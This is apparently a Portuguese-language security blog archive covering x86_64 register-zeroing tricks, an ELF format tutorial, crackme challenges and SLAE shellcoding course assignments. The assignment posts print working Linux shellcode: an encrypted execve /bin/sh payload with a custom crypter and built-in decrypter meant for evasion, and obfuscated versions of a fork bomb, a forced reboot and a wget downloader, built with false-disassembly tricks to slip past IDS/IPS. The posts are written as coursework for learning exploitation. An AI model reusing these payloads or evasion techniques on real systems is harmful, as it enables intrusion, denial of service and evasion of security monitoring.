Tradutor

Mostrando postagens com marcador assembly. Mostrar todas as postagens
Mostrando postagens com marcador assembly. Mostrar todas as postagens

sexta-feira, 15 de agosto de 2014

Odd ways to zeroing some x86_64 registers

Hi there! Here are some ways (retrocompatible instructions [1-2] and xmm) to fill registers with zero (NULL) bytes without have any zero bytes in bytecode.


400091:    6a 01                    pushq  $0x1
400093:    58                       pop    %rax
400094:    ff c8                    dec    %eax
Zeroing (1) %RAX at 5 bytes cost (very known indeed).


40008b:    97                       xchg   %eax,%edi
40008c:    48 c1 c8 20              ror    $0x20,%rax
400090:    97                       xchg   %eax,%edi
Zeroing (1) %RDI at 6 bytes cost.


40008b:    92                       xchg   %eax,%edx
40008c:    48 99                    cqto
Zeroing (1) %RDX at 3 bytes cost.


40008b:    92                       xchg   %eax,%edx
40008c:    48 99                    cqto
40008e:    52                       push   %rdx
40008f:    58                       pop    %rax
Zeroing (2) %RDX e %RAX at 5 bytes cost.


40008b:    48 31 ff                 xor    %rdi,%rdi
40008e:    48 f7 e7                 mul    %rdi
Zeroing (3) %RAX, %RDX e %RDI at 6 bytes cost (however, widely known).


40008b:    97                       xchg   %eax,%edi
40008c:    48 c1 c8 20              ror    $0x20,%rax
400090:    f7 e7                    mul    %edi
400092:    50                       push   %rax
400093:    5f                       pop    %rdi
Zeroing (3) %RAX, %RDX e %RDI at 9 bytes cost.


400090:    c5 fc 77                 vzeroall
400093:    66 48 0f 7e c2           movq   %xmm0,%rdx
Zeroing (1) general-purpose reg %RDX and (all) YMM at 8 bytes cost.


400090:    66 0f df c0              pandn  %xmm0,%xmm0
400094:    66 48 0f 7e c2           movq   %xmm0,%rdx
Zeroing (1) general-purpose reg %RDX and (1) %XMM0 at 9 bytes cost.


400090:    50                       push   %rax
400091:    5a                       pop    %rdx
400092:    48 f7 d2                 not    %rdx
400095:    48 21 d0                 and    %rdx,%rax
Zeroing (1) %RAX at 8 bytes cost.


400097:    52                       push   %rdx
400098:    58                       pop    %rax
400099:    f7 d0                    not    %eax
40009b:    21 c2                    and    %eax,%edx
Zeroing (1) %RDX at 6 bytes cost.


Use them at will.


[1] - How NOP nearly became a non-NOP on AMD64
[2] - x86oddities

quinta-feira, 6 de junho de 2013

(Des)construindo Software - Parte 2

Ao finalizar o primeiro post, disse-lhes que neste iniciaríamos uma abordagem prática da engenharia reversa que possibilitaria um entendimento objetivo da estrutura ELF. Contudo, optei por inverter essa ordem, sendo que agora daremos início diretamente pelo ELF, a despeito de que a análise da sua estrutura, mesmo que realizada minimamente, em si já é um meio de reversão, e, somente empós, fá-la-emos propriamente lidando com o respectivo binário.

Preciso também fazer menção às correções que efetuei no primeiro post da sequência. Graças ao Ygor Parreira (valeu, dmr!), identifiquei informações desatualizadas na descrição do processo de compilação. Por isso, para que não haja prejuízo no estudo, a releitura se faz obrigatória.

Os arquivos deste post estão disponíveis no GitHub.


ELF (Pointed Ears)

O ELF (Executable and Linking Format) é um formato (estrutura) que especifica a composição e organização de um arquivo-objeto (representação binária, resultado do procedimento de montagem) para que este seja funcional ao sistema operacional que o utiliza; é, em miúdos, um mapa que permite a criação/utilização correta, através dos linker e loader, dos arquivos com esse padrão.

Originalmente desenvolvido e publicado pelos USL (UNIX System Laboratories) como parte da ABI, o ELF se tornou padrão em vários sistemas operacionais Unix-like, substituindo formatos antigos como a.out e COFF. Hoje em dia é utilizado também em sistemas operacionais não-Unix como OpenVMS, BeOS e Haiku, assim como em videogames, celulares, tablets, roteadores, televisões etc.

No tocante à introdução (pg. 45) do System V - Application Binary Interface (ABI), Ed. 4.1 (documento que descreve a interface entre o programa e o sistema operacional ou outro programa), faço uma ressalva à afirmação "o arquivo-objeto é criado pelo assembler 'e' link editor", pois, contrariedade a essa regra foi demonstrada na criação do crackme.03, ao ser desprezada a lincagem. De toda sorte, num processo normal de compilação é correto se dizer que o procedimento de lincagem estará presente.


Tipos de ELF (Middle-Earth, D&D, ...)

Discorramos um pouco sobre os tipos mais comuns de arquivos-objeto ELF.



Relocável

O arquivo-objeto relocável possui código e dados prontos para a combinação com outros arquivos-objeto, que comporão um executável ou um objeto compartilhado.

Vejamos abaixo o programa1.o.

gcc programa1.c -m32 -c

# file programa1.o
programa1.o: ELF 32-bit LSB  relocatable, Intel 80386, version 1 (SYSV), not stripped

# readelf-h programa1.o | grep Type
  Type:                              REL (Relocatable file)

# readelf -r programa1.o 
Relocation section '.rel.text' at offset 0x3ec contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000000c  00000501 R_386_32          00000000   .rodata
00000011  00000a02 R_386_PC32        00000000   puts

Relocation section '.rel.eh_frame' at offset 0x3fc contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00000020  00000202 R_386_PC32        00000000   .text

Nesse primeiro exemplo, o gcc compilou e montou o binário relocável programa1.o que ainda não teve os endereços para execução informados em sua estrutura (ELF), assim como também não teve resolvidas as referências de símbolos.

Com o readelf constatamos que os endereços não foram definidos.

# readelf -S programa1.o 
There are 13 section headers, starting at offset 0x11c:

Section Headers:
  [Nr] Name          Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]               NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text         PROGBITS        00000000 000034 00001c 00  AX  0   0  4
  [ 2] .rel.text     REL             00000000 0003ec 000010 08     11   1  4
  [ 3] .data         PROGBITS        00000000 000050 000000 00  WA  0   0  4
  [ 4] .bss          NOBITS          00000000 000050 000000 00  WA  0   0  4
  [ 5] .rodata       PROGBITS        00000000 000050 00000c 00   A  0   0  1
...

E através do nm temos a lista de todos os símbolos; a serem resolvidos.

# nm -a programa1.o
00000000 b .bss
...
00000000 d .data
...
00000000 t .text
00000000 T main
...

Segue outro exemplo utilizando o relocável programa2.o (versão em assembly do programa1).

nasm -f elf32 programa2.asm

# readelf -r programa2.o 
Relocation section '.rel.text' at offset 0x260 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000000b  00000201 R_386_32          00000000   .data


Executável

Este tipo de arquivo-objeto contém as informações necessárias à criação de sua respectiva imagem de processo por meio da função (syscall) exec.

Continuemos com o programa1.

# gcc programa1.c -m32 -o programa1
# ./programa1
Hello World

# file programa1
programa1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=df0b281079aace57fec72570a37ba345c7679a59, not stripped

# readelf -S programa1
There are 30 section headers, starting at offset 0x7f0:

Section Headers:

  [Nr] Name           Type           Addr     Off    Size   ES Flg Lk Inf Al
...
  [12] .plt           PROGBITS       080482c0 0002c0 000040 04  AX  0   0 16
  [13] .text          PROGBITS       08048300 000300 000194 00  AX  0   0 16
  [14] .fini          PROGBITS       08048494 000494 000014 00  AX  0   0  4
  [15] .rodata        PROGBITS       080484a8 0004a8 000014 00   A  0   0  4
...

Pode ser visto acima que o arquivo-objeto do tipo executável teve sua estrutura relocada.

Podemos confirmar isso, também, através do cabeçalho ELF. Vejam que o objeto relocável não possui endereço de entrada.

# readelf -h programa1.o | grep Entry
  Entry point address:               0x0

Porém, possui quando executável.

# readelf -h programa1 | grep Entry
  Entry point address:               0x8048300

No programa1, a lincagem (collect2) amarrou (symbol binding) as referências locais e as concernentes às bibliotecas dinâmicas, e relocou as estruturas de dados, prontificando o arquivo-objeto à execução.

Escrutinemos mais ainda com a tool ldd que nos lista as bibliotecas compartilhadas necessárias ao executável.

# ldd programa1
linux-gate.so.1 (0xf76ea000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf751b000)
/lib/ld-linux.so.2 (0xf76eb000)

Vemos acima que o programa1.c faz uso da biblioteca compartilhada libc (função printf).

O programa2 (assembly), entretanto, tem suas peculiaridades.

ld -m elf_i386 programa2.o -o programa2
./programa2 
Hello World

# readelf -r programa2
There are no relocations in this file.

# file programa2
programa2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

# ldd programa2
not a dynamic executable

O ldd não apresenta nenhuma biblioteca compartilhada, uma vez que o programa2 só faz uso de syscalls. Tal fato denota que não foi necessário se efetuar a combinação com outros arquivos-objeto, restando apenas perfazer os demais procedimentos como a resolução das referências de símbolos locais e a relocação. É importante destacar que o programa1, diferentemente do programa2, será também lincado dinamicamente a cada nova instanciação, por conta de seus símbolos indefinidos.


Objeto Compartilhado

Este arquivo-objeto detém código e dados apropriados para duas situações de lincagem.


Objeto compartilhado combinado com outro objeto compartilhado e/ou com relocável.

Inicialmente, engendremos o arquivo-objeto compartilhado libfoo1.so.

# gcc -c -fPIC -m32 foo1.c -o foo1.o
# readelf -h foo1.o  | grep Type
  Type:                              REL (Relocatable file)

# gcc -shared -m32 -o libfoo1.so foo1.o
# readelf -h libfoo1.so | grep Type
  Type:                              DYN (Shared object file)

Veja abaixo a criação a partir da combinação do arquivo-objeto compartilhado libfoo1.so com o relocável foo2.o.

# gcc -c -fPIC -m32 foo2.c -o foo2.o
# gcc -shared -m32 -o libfoo2.so foo2.o libfoo1.so
# readelf -h libfoo2.so | grep Type
  Type:                              DYN (Shared object file)

E finalmente a combinação dos dois objetos compartilhados, libfoo2.so e libfoo1.so.

# gcc -shared -m32 -o libfoo3.so libfoo2.so libfoo1.so
# readelf -h libfoo3.so | grep Type
  Type:                              DYN (Shared object file)


Combinado com um executável ou com outro objeto compartilhado para criação da imagem do processo pelo dynamic linker.

Este é o caso do nosso programa1 que ao ser executado é combinado, previamente a sua inicialização, com os demais arquivos-objeto compartilhados, através da ld-linux.so. Isso também ocorre com as próprias bibliotecas compartilhadas ao serem carregadas pelo sistema.


Core Dump

Um core dump (memory dump, system dump) é um arquivo-objeto contendo o estado da memória de um determinado programa, produzido pelo sistema geralmente quando aquele termina anormalmente (crashed).

Vejamos, como usuário root.

# gcc -m32 coredump.c -o coredump

# ulimit -c
0
# ulimit -c unlimited
# ulimit -c

unlimited

# ./coredump
Falha de segmentação (imagem do núcleo gravada)

Geralmente, o dump é salvo na pasta atual com o nome de core. A localização e formato do nome do dump podem ser modificados no arquivo /proc/sys/kernel/core_pattern. Mais informações: man core.

# file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from './coredump'

Se estiverem utilizando Arch Linux, como foi o meu caso, faz-se necessário extrair o core dump de um sistema de journaling utilizado pelo systemd.

# systemd-coredumpctl | tail
...
Sex 2013-05-31 07:41:01 BRT    447     0     0  11 /home/uzumaki/git/hb/desconstruindo/coredump

# systemd-coredumpctl dump -o core
TIME                           PID   UID   GID SIG EXE
Sex 2013-05-31 07:41:01 BRT    447     0     0  11 /home/uzumaki/git/hb/desconstruindo/coredump
More than one entry matches, ignoring rest.

# file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from './coredump'

Um exemplo de uso do core dump seria com o gdb para se investigar a causa do crash.

# gdb -q ./coredump core
Reading symbols from /home/uzumaki/git/hb/desconstruindo/coredump...(no debugging symbols found)...done.
[New LWP 447]

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Core was generated by `./coredump'.
Program terminated with signal 11, Segmentation fault.
#0  0x4c4b4a49 in ?? () 

(gdb) backtrace
#0  0x4c4b4a49 in ?? ()
#1  0x504f4e4d in ?? ()
#2  0x54535251 in ?? ()
#3  0x58575655 in ?? ()
#4  0xf7005a59 in ?? ()
...


Pode ser visto acima que a falha na segmentação ocorreu por conta do overflow dos caracteres.


Estrutura ELF (Crystal Bones, Wood Bones, ...)

O formato ELF provê visões paralelas do conteúdo do binário que refletem as diferentes necessidades ao se lincar e ao se executar um programa. Inicialmente estudaremos a Visão de Lincagem.
 


Na estrutura há apenas um componente com localização fixa, o ELF Header que se encontra no offset zero do arquivo-objeto. Nele são armazenadas as informações que descrevem a organização do restante do arquivo.

A Program header table instrui o sistema como criar uma imagem de processo, portanto é um componente obrigatório nos arquivos-objeto executáveis e nos compartilhados; já os relocáveis não fazem uso dela.

As Sections contemplam a massa de informação do arquivo-objeto utilizada na visão de lincagem, como instruções, dados, tabela de símbolos, informação de relocação, dentre outros.

A Section header table contém informações descritivas das sections do objeto. Nela, para cada section, há uma entrada que fornece dados como nome, tamanho, dentre mais. Na lincagem o arquivo-objeto a ser combinado deve obrigatoriamente conter tal tabela. Outros arquivos-objetos podem ou não a conter.


Tipos de Dados (Not dices)

Seguem os tipos usados para a representação de dados nos arquivo-objetos ELF.


Criei o elfdatatypes para mostrar o tamanho dos tipos em ambas arquiteturas.


ELF Header (Game Master)

Existem dois tipos de ELF header em /usr/include/elf.h: Elf32_Ehdr e Elf64_Ehdr. Seus nomes são contrações em inglês (_Ehdr -> Elf header). ;)

Segue estrutura em C.



Verifiquemos o tamanho do ELF Header do programa1.

# readelf -h programa1 | grep this
  Size of this header:               52 (bytes)

O posicionamento do ELF Header, como já citado, sempre será no offset zero do arquivo-objeto, no entanto seu tamanho dependerá da arquitetura: 32 bits (52 bytes); 64 bits (64 bytes).

Vejamos os 52 bytes relativos ao ELF Header 32.

# xxd -l 52 programa1
0000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
0000010: 0200 0300 0100 0000 0083 0408 3400 0000  ............4...
0000020: f007 0000 0000 0000 3400 2000 0800 2800  ........4. ...(.
0000030: 1e00 1b00                                ....

Em conformidade com a estrutura Elf32_Ehdr, os 16 primeiros bytes são concernentes à identificação do arquivo-objeto (e_ident[16]). Se somarmos o tamanho dos tipos que se seguem (Elf32_Half e_type [2 bytes], Elf32_Half e_machine [2 bytes], Elf32_Word e_version [4 bytes]), chegaremos ao offset 24 que é referente ao entry point (0083 0408).

# readelf -h programa1 | grep Entry
  Entry point address:               0x8048300 (00830408 em ordem inversa)

Antes de finalizarmos, para não ficar nenhum dissabor, vejamos um código em C (elfentry) que lê o valor Entry Point do arquivo-objeto programa2.

# gcc -m32 elfentry.c -o elfentry
# ./elfentry
Entry Point: 0x8048080

# readelf -h programa2 | grep Entry
  Entry point address:               0x8048080


Ficamos por aqui. No próximo encontro, esmiuçaremos a estrutura ElfN_Ehdr.

Até lá!   o/


http://maxpaint.livejournal.com/

Mais Informações

ELF - Wikipedia
Elf (another kind) - Wikipedia
ABI - System V Application Binary Interface - SCO
The ELF Object File Format - Introduction - Linux Journal
The ELF Object File Format by Dissection - Linux Journal
Dissecando ELF - Felipe Pena
Linker (computing) - Wikipedia
Relocation (computing) - Wikipedia
Loader (computing)

segunda-feira, 6 de maio de 2013

Crackme 03 - Source Code

E não demorou quase nada!

Parabéns ao Fernando Mercês e ao Andrey Arapov que quebraram rapidinho o binário utilizando formas distintas e super interessantes.

Este é o walk through (análise dinâmica) do Andrey.

Abaixo o do Fernando Mercês (análise estática).




Resumindo, o ELF Header do crackme.03.32 foi feito com base no Teensy ELF Header do Brian Raiter, ou seja, totalmente à mão, e não pelos assembler e linker (este último que nem foi necessário). Por isso a "mágica" do entrypoint estar na área que pertenceria somente ao Header. ;) Para conseguir isso, utilizei fields do header que são desprezados na inicialização do binário, aglutinando-os e brincando com eles para atingir o "mal necessário".

Outro aspecto do binário é o desofuscamento dinâmico da string 'Omedetou' por meio do algoritmo uzumaki.

Há, também, dois checksums: um do header (com chave criptografada) e o outro do binário inteiro (com chave simples).

Mas tudo isso foi implementado apenas para desviar o cracker do caminho mais simples que é o "patch the jump".


Espero que tenham gostado.
Até a próxima! o//

domingo, 5 de maio de 2013

Crackme 03

Olá!

Como outrora prometido, disponibilizo-lhes o novo crackme (crackme.03.32 - Linux/x86).

Esta versão segue uma abordagem diferente das anteriores, pois não há input a ser descoberto. ;D

Vocês podem fazer o download do binário diretamente do git.

O código fonte (assembly) será disponibilizado logo após o primeiro aventureiro me informar como conseguiu quebrá-lo.

Regras
- Informar a string de parabéns
- Informar o respectivo algoritmo de ocultamento
- Alteração do binário permitida (quanto menos bytes alterados, melhor o cracking)

Ressalto que o nível de dificuldade está mais atrelado à impossibilidade de análise dinâmica. Mas se você conseguir reverter isso, parabéns!

Boa diversão!





Mais Informações

segunda-feira, 29 de abril de 2013

SLAE - 7th Assignment - Crypted Shellcodes

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
   SLAE - 5th Assignment - Metasploit Shellcodes Analysis
   SLAE - 6th Assignment - Polymorphic Shellcodes
*/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/7th.assignment


The Last Mission

Finalmente, o último assignment.

7th assignment:
- Criar um crypter customizado.
- Utilizar qualquer esquema de criptografia existente.
- Usar qualquer linguagem de programação.


Criptografia!

O vídeo sobre o assunto demonstra um encrypter e um decrypter, construídos em C, que usam o algoritmo de fluxo RC4 para processar o shellcode. De início eu não contemplei a que fim serviria um shellcode critptografado que não conteria seu decrypter embutido, portanto, agradeço ao Pedro Fausto pela objetiva explanação que me deixou inteirado das possíveis finalidades: uso na comunicação entre dois pontos já comprometidos; uso entre um bastião e seus zumbis... Em suma, para qualquer uso evasivo entre pontos!

Encontrei um algoritmo candidato para a implementação do crypter: TEA - Tiny Encryption Algorithm. Entretanto, vi que ele não seria viável por conta do tamanho que ele teria em assembly; haja vista não ter aberto mão de criar o built-in decrypter.

Só tinha uma maneira, criar meu próprio tiny cipher.


Uzumaki Cipher (Swirling Everything)

Usei os moldes da Stream Cipher para criar o Uzumaki (うずまき) Cipher; a cifra consiste no processo de um XOR com um valor estático, seguido de mais um XOR com um valor pseudorandom (keystream), terminando com o ADD de um valor estático.

Crypter:
(shellcode[x-1] ^ (shellcode[x] ^ xorByte)) + addByte

Built-in Decrypter:


O uzumaki cipher é um algoritmo simples que pode ser utilizado com sucesso em shellcodes quando o assunto é evasão. Devo ressaltar que um dado criptografado, para sua própria segurança, não deve conter informações que possam levar à desencriptação; assim, o built-in decrypter do fluxograma acima (no git com código comentado) foi criado apenas como uma PoC. Contudo, nada obsta seu uso.


Uso

# ./uzumaki_crypter.py -a 01 -x 5d -s $'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
...
Crypted shellcode:

"\x31\xa6\x64\x4c\x0d\xe7\x08\x65\x1b\x5e\x02\x47\x5e\x1b\x11\x57\x5b\xbb\x38\x74\x11";

0x31,0xa6,0x64,0x4c,0x0d,0xe7,0x08,0x65,0x1b,0x5e,0x02,0x47,0x5e,0x1b,0x11,0x57,0x5b,0xbb,0x38,0x74,0x11

Crypted shellcode with decrypter built-in:

"\x29\xc9\x74\x14\x5e\xb1\x14\x46\x8b\x06\x83\xe8\x01\x34\x5d\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8\xe7\xff\xff\xff\x31\xa6\x64\x4c\x0d\xe7\x08\x65\x1b\x5e\x02\x47\x5e\x1b\x11\x57\x5b\xbb\x38\x74\x11";

0x29,0xc9,0x74,0x14,0x5e,0xb1,0x14,0x46,0x8b,0x06,0x83,0xe8,0x01,0x34,0x5d,0x32,0x46,0xff,0x88,0x06,0xe2,0xf1,0xeb,0x05,0xe8,0xe7,0xff,0xff,0xff,0x31,0xa6,0x64,0x4c,0x0d,0xe7,0x08,0x65,0x1b,0x5e,0x02,0x47,0x5e,0x1b,0x11,0x57,0x5b,0xbb,0x38,0x74,0x11


Fim!?

É isso aí pessoal! Essa foi a última missão do curso SLAE! E até que foi simples, porque no decorrer dos posts, aprendemos muitas formas de utilizar a linguagem assembly para a criação de vários tipos de shellcodes.

Espero que tenham gostado!

[]


Mais Informações

domingo, 21 de abril de 2013

SLAE - 6th Assignment - Polymorphic Shellcodes

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
   SLAE - 5th Assignment - Metasploit Shellcodes Analysis
*/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/6th.assignment


Missão

Segue abaixo o determinado pelo Vivek para este assignment.

6th assignment:
- Criar versão polimórfica de três shellcodes do repositório Shell-Storm.
- As versões polimórficas não podem ser maiores que 150% do tamanho das versões originais.
- Pontos adicionais para quem os construir com menor tamanho que o original.


Polimorfismo! Mesmo?!

Antes de iniciar a missão, procurei me inteirar do que realmente seria um shellcode polimorfo.

- Google, você me ajuda?
- "Yes 'master'! I have one great source for you".
- (⊙_◎) Qual?
- "Polymorphic Shellcode Engine - CLET Team".
- Oh, muito obrigado google. (⊙‿⊙)
- "You're welcome! But I need your clicks..."
- Você não me chamou de mestre, agora há pouco?
- "Yes, but it's the world! Master? (oT-T)尸 CLICK ME NOW!".
- Oh, diabos! (ノдヽ)

Após essa calorosa, bilíngue e esquizofrênica discussão filosófica, li o grandioso paper do CLET Team sobre a construção de um motor para criação de shellcodes polimórficos.

Minha concepção a respeito do tema é de que um shellcode não deveria ser chamado de polimorfo mesmo que um motor externo o altere inúmeras vezes. O termo polimorfismo vai além do fato de que o payload foi alterado com este fim. Vejamos a definição do dicionário priberam.

polimorfo |ó| 
(poli- + -morfo)
adj.
1. Que se apresenta sob diversas formas.
Sujeito a variar de forma.

No âmbito dos vírus, o vocábulo é empregado corretamente, haja vista o próprio vírus se replicar e sua "cópia", mesmo que destinada a fim idêntico, ter sua composição diferenciada.

Um shellcode se replica? Não! Cabe salientar que se uma praga qualquer, que se replica com mutação, tem a capacidade de utilizar um shellcode (modificado ou não), ELA (praga) é que tem a característica polimórfica.

O que vemos aos montes na internet são esses autoproclamados shellcodes polimórficos que de polimórficos não tem nada, apenas, quem sabe, a capacidade de evasão. Eu, portanto os chamo de mutated shellcodes, ora terem sido modificados manualmente ou através de um motor externo como o ADMmutate.

Bom, mas essa é uma concepção minha.

Esta missão exige que a versão "mutated" não seja maior que 150% do original. Isso é meio difícil de se conseguir, principalmente se o shellcode original já tiver tamanho reduzido. E estamos falando de inserção de bytes lixo, inclusão de NOPs, extrapolação do resultado de uma instrução em duas ou mais etc. Em suma, é uma missão não factível! A não ser que eu escolhesse um shellcode gigante, mal codificado, e dali fizesse o seu enxugamento. Contudo, o resultado não seria capaz de evadir IPSs.

Vivek também pontuará por "mutated" shellcodes menores que o original.
(︶︹︺) Not going to happen. Melhor que sejam maiores e sirvam ao propósito.

Let's begin.


1st shellcode - fork bomb

Original:
http://shell-storm.org/shellcode/files/shellcode-214.php

 _start:
        push byte 2
        pop eax
        int 0x80
        jmp short _start

Temos acima um clássico fork bomb usando a syscall __NR_fork 2.

Modifiquemo-lo.

_start:
        xor edi, edi
        jmp $+3
        db 0xe8
        mov dl, 29
        xchg edi, eax
        sub eax, 27
        int 0x80
        jmp _start

Na versão mutated, utilizei o register EDI para salvar o valor 29 (__NR_pause) e posteriormente o copiar para EAX, quando então ele é subtraído, restando-lhe o valor 2 da syscall fork. Fiz uso também da técnica de false disassembly (obfuscated assembly) com a JMP sobre o byte E8 (opcode da instrução CALL). Vejam a saída do objdump.

08048060 <_start>:
 8048060: 31 ff                 xor    edi,edi
 8048062: eb 01                 jmp    8048065 <_start+0x5>
 8048064: e8 b2 1d 97 83       call   8b9b9e1b <_end+0x83970dab>
 8048069: e8 1b cd 80 eb       call   f3854d89 <_end+0xeb80bd19>
 804806e: f1                   icebp

Se as ferramentas IDS/IPS não utilizarem uma análise profunda como a GetPC (Recursive Traversal), a finalidade do shellcode não será identificada.

Original: 7 bytes
Mutated: 15 bytes

Next.


2nd shellcode - reboot

Original (AT&T syntax):
http://shell-storm.org/shellcode/files/shellcode-639.php

        mov    $0x24,%al
        int    $0x80
        xor    %eax,%eax
        mov    $0x58,%al
        mov    $0xfee1dead,%ebx
        mov    $0x28121969,%ecx
        mov    $0x1234567,%edx
        int    $0x80
        xor    %eax,%eax
        mov    $0x1,%al
        xor    %ebx,%ebx
        int    $0x80

Desta vez modificaremos um shellcode que chama a syscall sync (para evitar perda de arquivos) e a reboot.

Segue a versão modificada.

        ; void sync(void);
        ; sync()

        sub edi, edi
        jz $+3
        db 0xe8
        add edi, 36
        xchg eax, edi
        jmp $+3
        db 0xe1
        int 0x80


        ; int reboot(int magic, int magic2, int cmd, void *arg);
        ; reboot(0xfee1dead, 0x28121969, 0x1234567, not_used)

        jmp $+3
        db 0xff
        push 0x29
        pop ecx
        jmp $+3
        db 0x01
        mov ebx, 0x1234567
        mov edx, 0xffc29bca
        xor edx, ebx

        jnz $+3
        db 0xe7
        xchg ebx, edx
        lea eax, [ecx+0x2f]
        lea ecx, [ecx+0x28121940]
        jmp $+4
        db 0xe8, 0x01
        int 0x80

O código faz o mesmo que o original, com a diferença de não usar a syscall exit. Pensem comigo: se o sistema já estará em processo de reinicialização, para que se preocupar em fechar o programa? ;)

Também utilizei a técnica da SUB reg, reg, para zerar o registrador, seguida de uma JZ. Como a subtração sempre setará o ZF, sempre haverá o jump. Essa é mais uma técnica que embaralha a detecção do shellcode. Podem perceber que também não fiz uso dos valores imediatos corretos; eles são calculados durante a execução. Outra técnica empregada foi a de permutar os registradores, confundindo cada vez mais a identificação do objetivo do código.

Outro jump utilizado é a JNZ, logo após o XORing de EDX e EBX; como eles tem valores diferentes, a ZF nunca será setada, condicionando a JNZ a sempre efetuar o jump. ;)

Abaixo, a saída do objdump.


08048060 <_start>:
 8048060:    29 ff                    sub    %edi,%edi
 8048062:    74 01                    je     8048065 <_start+0x5>
 8048064:    e8 83 c7 24 97           call   9f2947ec <_end+0x9724b754>
 8048069:    eb 01                    jmp    804806c <_start+0xc>
 804806b:    e1 cd                    loope  804803a <_start-0x26>
 804806d:    80 eb 01                 sub    $0x1,%bl
 8048070:    ff 6a 29                 ljmp   *0x29(%edx)
 8048073:    59                       pop    %ecx
 8048074:    eb 01                    jmp    8048077 <_start+0x17>
 8048076:    01 bb 67 45 23 01        add    %edi,0x1234567(%ebx)
 804807c:    ba ca 9b c2 ff           mov    $0xffc29bca,%edx
 8048081:    31 da                    xor    %ebx,%edx
 8048083:    75 01                    jne    8048086 <_start+0x26>
 8048085:    e7 87                    out    %eax,$0x87
 8048087:    da 8d 41 2f 8d 89        fimull -0x7672d0bf(%ebp)
 804808d:    40                       inc    %eax
 804808e:    19 12                    sbb    %edx,(%edx)
 8048090:    28 eb                    sub    %ch,%bl
 8048092:    02 e8                    add    %al,%ch
 8048094:    01 cd                    add    %ecx,%ebp
 8048096:    80                       .byte 0x80

Tem que ter um olho muito treinado! :D

Original: 33 bytes
Mutated: 55 bytes

Antes do Next, leiam sobre os easter eggs, magic numbers do Linus Torvalds usados na syscall reboot.

Next.


3rd shellcode - execve wget

Original (AT&T syntax):
http://shell-storm.org/shellcode/files/shellcode-611.php

        push   $0xb
        pop    %eax
        cltd   
        push   %edx
        push   $0x61616161
        mov    %esp,%ecx
        push   %edx
        push   $0x74
        push   $0x6567772f
        push   $0x6e69622f
        push   $0x7273752f
        mov    %esp,%ebx
        push   %edx
        push   %ecx
        push   %ebx
        mov    %esp,%ecx
        int    $0x80
        inc    %eax
        int    $0x80

Esse último payload faz uso da syscall execve para instanciar o wget e baixar o arquivo desejado.

Seguindo as mesmas técnicas já mencionadas, segue a versão modificada.

        ; int execve(const char *path, char *const argv[], char *const envp[]);
        ; execve(["/usr/bin/wget", 0], [["/usr/bin/wget", 0], "url", 0], 0)

        jmp $+3
        db 0xe8
        sub ebx, ebx
        jz $+3
        db 0x83
        mul ebx
        mov ebp, -11

        jmp $+3
        db 0xe8
        push 0x72456541
        sub esi, esi
        jz $+3
        db 0x83
        pop esi
        push esi
        xor esi, 0x3e1f4a25
        push esi

        jmp $+3
        db 0x33
        push 0x672e7369
        mov [esp+12], eax
        mov ecx, esp


        ; /usr/bin/wget

        push 0x74
        jmp $+3
        db 0xe3
        push 0x6567772f
        jmp $+3
        db 0x83
        push 0x6e69622f
        jmp $+3
        db 0x33
        push 0x7273752f
        lea ebx, [esp]

        jmp $+3
        db 0x83
        push eax
        push ecx                ; argv address
        push ebx                ; file name address
        mov ecx, esp            ; pointer to the file name and argv

        neg ebp

        xchg eax, ebp
        jmp $+3
        db 0x83
        int 0x80

E abaixo, a saída do objdump.

08048060 <_start>:
 8048060: eb 01                 jmp    8048063 <_start+0x3>
 8048062: e8 29 db 74 01       call   9795b90 <__bss_start+0x174cad0>
 8048067: 83 f7 e3             xor    edi,0xffffffe3
 804806a: bd f5 ff ff ff       mov    ebp,0xfffffff5
 804806f: eb 01                 jmp    8048072 <_start+0x12>
 8048071: e8 68 41 65 45       call   4d69c1de <__bss_start+0x4565311e>
 8048076: 72 29                 jb     80480a1 <_start+0x41>
 8048078: f6 74 01 83           div    BYTE PTR [ecx+eax*1-0x7d]
 804807c: 5e                   pop    esi
 804807d: 56                   push   esi
 804807e: 81 f6 25 4a 1f 3e     xor    esi,0x3e1f4a25
 8048084: 56                   push   esi
 8048085: eb 01                 jmp    8048088 <_start+0x28>
 8048087: 33 68 69             xor    ebp,DWORD PTR [eax+0x69]
 804808a: 73 2e                 jae    80480ba <_start+0x5a>
 804808c: 67 89 44 24           mov    DWORD PTR [si+0x24],eax
 8048090: 0c 89                 or     al,0x89
